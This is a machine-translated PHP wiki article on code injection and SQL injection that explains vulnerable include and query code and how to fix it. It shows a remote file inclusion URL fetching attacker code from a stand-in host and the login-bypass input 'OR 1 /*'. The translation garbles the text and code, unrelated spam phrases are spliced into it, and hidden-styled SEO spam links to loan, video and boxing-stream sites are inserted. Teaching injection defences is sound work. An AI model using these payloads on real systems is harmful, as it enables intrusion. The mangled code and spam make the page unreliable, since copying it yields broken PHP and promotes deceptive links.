Injection
Aus php bar
ToInjectionrefers to processes in which, usually by exploiting a Vulnerability is arbitrary program code introduced for execution. Hence the terminjectionofinjecting / injection.
== Code == Injection
=== === Security holes
Many PHP applications are controlled by a central script, which takes over calcul imc and common tasks, and depending on request parameters incorporates a corresponding behavioral targeting module to display. Many developers make it here very simply by passing a request parameter the path of the script Vietnam Airlines and then use this include in their
Often you can see the Thiet ke web type of application dich vu seo is already on the URL. A typical application that works on this principle looks MFA Degree like this .
1 <? Php 2  $ Content = "home.php"; 3 4  if (isset ($ _GET ['c'])) { 5      $ Content = $ _GET ['c']; 6  } 7 ?> 8 9 <- Integrate Requested page -> 10 <? Php 11  include ($ content); 12 ?> 13 </ Phpsource> 14 15 Here one sees directly several programming errors, which may represent a huge security hole and all doors open for an attacker. On the one hand, an attacker could open any file on the server if the user under which the webserver runs, has the appropriate rights, and - much worse - he can'''arbitrary PHP code''' in the context of the application . run 16 17 === === Attack 18 19 A code injection is called exactly one such attack, the smuggled from foreign code into the application and running. The script above can be the target of a code injection attack, if the PHP configuration directive [[allow_url_fopen]] is activated, so that files can also be integrated through registered [[streamWrapper]]. 20 21 The attacker then manipulates the request parameters <tt> c </ tt> to a local file as <tt> home.php </ tt>, but a remote text file that contains any PHP code of the attacker is involved. The URL might look like this: 22 23 <tt> <nowiki> http://example.org/index.php?c=http://angreifer.example.org/injection.txt </ nowiki> </ tt> 24 25 Included because <tt> injection.txt </ tt> any source can now spy on the attacker has an easy game, passwords or other sensitive data, create files, delete, or change, etc. 26 27 === === Solution 28 29 A quick and simple solution would be to disable the directive [[allow_url_fopen]] in [[php.ini]]. On the one hand, this could also mean that other scripts not work anymore Thurs. Secondly, it does not fix the vulnerability in the program. 30 31 Rather than accept the parameters passed directly, it must first be validated. In the following example, a map is used to assign the appropriate include files aliases. This will guarantee that no other files can be included except those that are defined in the map. <span class="plainlinks"> [http://www.esenzendya.com/forum-posting-services.html <span style="color: black; font-weight: normal; text-decoration: none; background: none; text-decoration: none "> forum post </ span>] <span class="plainlinks"> [http://www.esenzendya.com/video-promotion.html <span style=" color: black; font-weight: normal; text-decoration: none; background: none; text-decoration: none "> Video Promotion </ span>] <span class="plainlinks"> [http:// www.esenzendya.com / video-submission-style service.html span <= "color: black; font-weight: normal; text-decoration: none; background: none; text-decoration: none"> Video Submission </ span>] <span class = "left plain"> [http://www.bestworkoutroutines.info <span style=" color: black; font-weight: normal; text-decoration: none; background: none; text-decoration: none;">workout routines</span>] [http://www.pacquiaovsmarquezfight.com/ <span style="color: black; font-weight: normal; text-decoration: none; background: none; text-decoration: none; "> marquez pacquiao vs </ span>] <span class="plainlinks"> [Http://www.pacquiaomosleyfight.com/pacquiao-vs-mosley-free-live <span style="color: black; font-weight: normal; streaming pacquiao vs marquez text-decoration: none; background: none ! important; text-decoration: none "> live streaming </ span>] <span class =" plain left "> [http://www.pacquiaovsmarquezfight.com/ <span style=" color: black; font-weight : normal; text-decoration: none; background: none; text-decoration: none "> pacquiao vs marquez </ span>] 32 33 <phpsource> 34 <? Php 35 $ Inclmap = array ( 36 'Home' => 'home.php', 37 'Imprint' => 'impressum.php' 38 / / Etc.. 39 ); 40 41 $ Content = $ inclmap ['home']; 42 43 if (isset ($ _GET ['c']) & & isset ($ inclmap [$ _GET ['c {']])) 44 $ Content = $ inclmap [$ _GET ['c']]; 45 } 46 ?> 47 48 <- Integrate Requested page -> 49 <? Php 50 include ($ content); 51 ?> 52 </ Phpsource> 53 54 This practice, in addition to closing the security holes have the advantage that the files can be moved to any location on the server, without changing the URLs. 55 56 Can not work with a map, for example, because too many files are in place to maintain this, one must validate the quiet path <tt> If all the include files in the directory. / Inc </ tt>, relative to the calling script are, make sure that no files can be integrated over half of that directory. 57 58 <phpsource> 59 <? Php 60 canonicalPath function ($ path, $ base, $ sep = DIRECTORY_SEPARATOR) { 61 if ($ path {0}! = $ sep) { 62 $ Path = $ base. $ September $ Path; 63 } 64 65 if ($ sep! = DIRECTORY_SEPARATOR) { 66 $ Path = str_replace (DIRECTORY_SEPARATOR, $ sep, $ path); 67 } 68 69 $ Tokens = explode ($ sep, $ path); 70 $ Path = array (); 71 72 foreach ($ tokens as $ token) { 73 switch ($ token) { 74 case'': 75 case '.': 76 continue 2; 77 78 Case'..': 79 array_pop ($ path); 80 continue 2; 81 82 default: 83 array_push ($ path, $ token); 84 } 85 } 86 87 return implode ($ sep, $ path). $ Sep; 88 } 89 90 Inclpath canonicalPath = $ ('. / Inc', dirname (__FILE__ ),'/'); 91 $ Content = $ inclpath. 'Home.php'; 92 93 if (isset ($ _GET ['c'])) { 94 $ Temp = canonicalPath ($ _GET ['c'], $ inclpath ,'/'); 95 96 if ($ inclpath == substr ($ temp, 0, strlen ($ inclpath))) { 97 $ Content = $ temp; 98 } 99 } 100 ?> 101 102 <- Integrate Requested page -> 103 <? Php 104 include ($ content); 105 ?> 106 </ Phpsource> 107 108 == == SQL Injection 109 110 Many [[SQL]] queries are dependent on user input such as: at login. If the user input directly into the query takes over and pulls no sufficient verification, it is possible to manipulate the query. 111 112 There are basically two methods to prevent such SQL injection: first, using the user input, not directly, but this is not always practical, or secondly, you must check the settings enough. 113 114 === Example === attack 115 116 To check whether the entered login data agree or not, one could use the following SQL query: 117 118 <sqlsource> 119 SELECT COUNT (*) AS logged 120   FROM users 121  WHERE username='der_username%20%26quot%3B%0A%C2%A0%C2%A0%C2%A0AND%20password%20%3D%20MD5%20%28'DAS_PASSWORD "); 122 </ Sqlsource> 123 124 In PHP you would then solve as follows. 125 126 <phpsource> 127 $ Sql ​​= 'SELECT COUNT (*) as logged 128          FROM users 129         WHERE username=%26quot%3B'.$_ POST ['username'].'" 130           AND password = MD5 ("'.$_ POST ['password'].'")'; 131 $ Result = mysql_query ($ sql); 132 if ($ result) { 133     trigger_error (. 'MySQL error:' mysql_error (), E_USER_ERROR); 134 } 135 / / $ Result with work ... 136 </ Phpsource> 137 138 Here the variables <code> $ _POST ['username'] </ code> and <code> $ _POST ['password'] </ code> are unexamined used directly in the query. In''normal''use of it does what is expected, but you can also specify the following user name: 139 140 <code> "OR 1 / *" </ code> 141 142 Thus, the script assembles the following SQL query: 143 <sqlsource> 144 SELECT COUNT (*) AS logged 145   FROM users 146  WHERE username=%26quot%3B%26quot%3B OR 1 / * "" 147    AND password = MD5 ('DAS_PASSWORD ") 148 </ Sqlsource> 149 150 Since <code> / * </ code> [[MySQL]] is a multi-line [[Comment]] has sent the following query: 151 <sqlsource> 152 SELECT COUNT (*) AS logged 153   FROM users 154  WHERE username=%26quot%3B'OR 1 155 </ Sqlsource> 156 157 This OR function always returns the value [[true]], and thus has no WHERE 158 Significance. The following query is then run something like: 159 <sqlsource> 160 SELECT COUNT (*) AS logged 161   FROM users 162 </ Sqlsource> 163 164 And thus you can log into the system ("logged" contains a number other than 0, which is interpreted, perhaps in the PHP script as a "user name and password correctly"), though you did not know the password. 165 166 === Validate user input with a default list === 167 168 This will determine whether the user input in a predetermined list of possibilities: 169 170 ? query_user.php gender = male: 171 <phpsource> 172 / / The array of valid options 173 $ Geschlecht_optionen = array ('man', 'female'); 174 175 / / Here we keep the WHERE conditions 176 $ Where [] = array (); 177 178 if (in_array ($ _REQUEST ['gender'], $ geschlecht_optionen)) 179 { 180     $ Where [] = '`sex` =' ". $ _REQUEST ['Gender']. '"' 181 } 182 183 ... 184 $ Sql ​​= 'SELECT * FROM `user`'; 185 if (count ($ where)) 186 { 187     $ Sql ​​.= 'WHERE'. implode ('AND', $ where); 188 } 189 ... 190 </ Phpsource> 191 192 In addition, it also can keep the same parameters shorter: 193 194 query_user.php g = 1?: 195 <phpsource> 196 / / The array of valid options 197 $ Geschlecht_optionen = array (1 => 'man', 2 => 'female'); 198 199 / / Here we keep the WHERE conditions 200 $ Where [] = array (); 201 202 if (isset ($ geschlecht_optionen [$ _REQUEST ['g']])) 203 { 204     $ Where [] = '`sex` =' ". Geschlecht_optionen $ [$ _REQUEST ['g']]. '"' 205 } 206 207 ... 208 $ Sql ​​= 'SELECT * FROM `user`'; 209 if (count ($ where)) 210 { 211     $ Sql ​​.= 'WHERE'. implode ('AND', $ where); 212 } 213 ... 214 </ Phpsource> 215 216 === === Syntactically validate user input 217 218 Once you can use for external variables, the function [[mysql_real_escape_string ()]] or his query with [[sprintf ()]] to assemble and convert as the parameters of certain types (such as inputs to <code>% u </ code> to modify numbers). 219 220 Safe database queries === === 221 222 ==== ==== Remove variables 223 224 The next step is the [[variable]] s of the actual query to be removed . 225 226 <phpsource> 227 $ Result = mysql_query (" 228     SELECT nick, 229            email 230       FROM accounts 231      WHERE email = '$ email' 232        AND password = '$ password' 233 "); 234 </ Phpsource> 235 236 What to simple variables can still clearly looks at [[array]] s, or, even if one or more [[function]] s must be applied to a variable that can quickly become very confusing. Here's a worse example: 237 238 <phpsource> 239 $ Result = mysql_query (" 240     SELECT nick, 241            email 242       FROM accounts 243      WHERE email = '". $ _POST [' Email ']."' 244        AND password = '". $ _POST [' Password ']."' 245 "); 246 </ Phpsource> 247 248 It is better to query with the [[http://www.php.net/sprintf sprintf ()]] to create. In [[http://www.php.net/sprintf sprintf ()]] becomes the first [[parameters]] is a given [[string]] with [[wildcards]]. These placeholders are then replaced by the values ​​of other parameters. In addition, with [[http://www.php.net/sprintf sprintf ()]] through a [[Type conversion]] is performed. 249 250 <phpsource> 251 $ Query = sprintf (" 252     SELECT nick, 253            email 254       FROM accounts 255      WHERE email = '% s' 256        AND password = '% s' ", 257 258     $ _POST ['Email'], 259     $ _POST ['Password'] 260 ); 261 $ Result = mysql_query ($ query); 262 </ Phpsource> 263 264 All variables ==== ==== escape 265 266 A simple rule "All variables will be escaped." Although only variables would have to be escaped, which are of type String and / or has been entered by the user, for example, in one form, but this would complicate the whole thing again would be unnecessary and prone to error. 267 268 <phpsource> 269 $ Query = sprintf (" 270     SELECT nick, 271            email 272       FROM accounts 273      WHERE email = '% s' 274        AND password = '% s' ", 275 276     mysql_real_escape_string ($ _POST ['email']); 277     mysql_real_escape_string ($ _POST ['password']) 278 ); 279 $ Result = mysql_query ($ query); 280 </ Phpsource> 281 282 ==== ==== Result 283 284 As is well laid out by formatting the query, it is easier to read by the sprintf () function, the variables are outside the query, and so it is visible at a glance whether all variables have been escaped. 285 286 ==== ==== Simplify 287 288 In order to simplify some of the things mentioned here, a function can be created, which works similarly to sprintf, all parameters only escaped and then passes it to the vsprintf. [[Http://www.php.net/vsprintf vsprintf]] works like sprintf, with the difference that an array is passed. 289 290 <phpsource> 291 mysql_queryf function () 292 { 293     / * Store passed parameters in $ args. * / 294     $ Args = func_get_args (); 295 296     / * Store first index value in $ query and delete from the $ args array * / 297     $ Query = array_shift ($ args); 298 299     / * All figures in $ args escape * / 300     $ Args = array_map ('mysql_real_escape_string', $ args); 301 302     $ Query = vsprintf ($ query, $ args); 303     $ Result = mysql_query ($ query); 304     return ($ result); 305 } 306 </ Phpsource> 307 308 An example of how this function is then used 309 310 <phpsource> 311 $ Result = mysql_queryf (" 312     SELECT nick, 313            email 314       FROM accounts 315      WHERE email = '% s' 316        AND password = '% s' ", 317 318     $ Email 319     $ Password 320 ); 321 </ Phpsource> 322 323 Queries === === clean reformat 324 325 If queries are formatted clean, the increases readability and so errors can be detected and removed quickly, such as key words in capital letters, line breaks <span class="plainlinks"> [http://www.mycaal.com <span style="color: black; font-weight: normal; text-decoration: none; background: none; text-decoration: none; "> loan modification </ span>] before keywords. 326 327 328 Short queries do not necessarily need special formatting for easy reading: 329 <sqlsource> 330  SELECT * FROM table 331 </ Sqlsource> 332 333 334 For longer queries should work with line breaks: 335 <sqlsource> 336 SELECT nick, 337        email 338   FROM accounts 339  WHERE email = 'email' 340    AND password = 'password' 341 </ Sqlsource> 342 343 [[Category: Safety]]

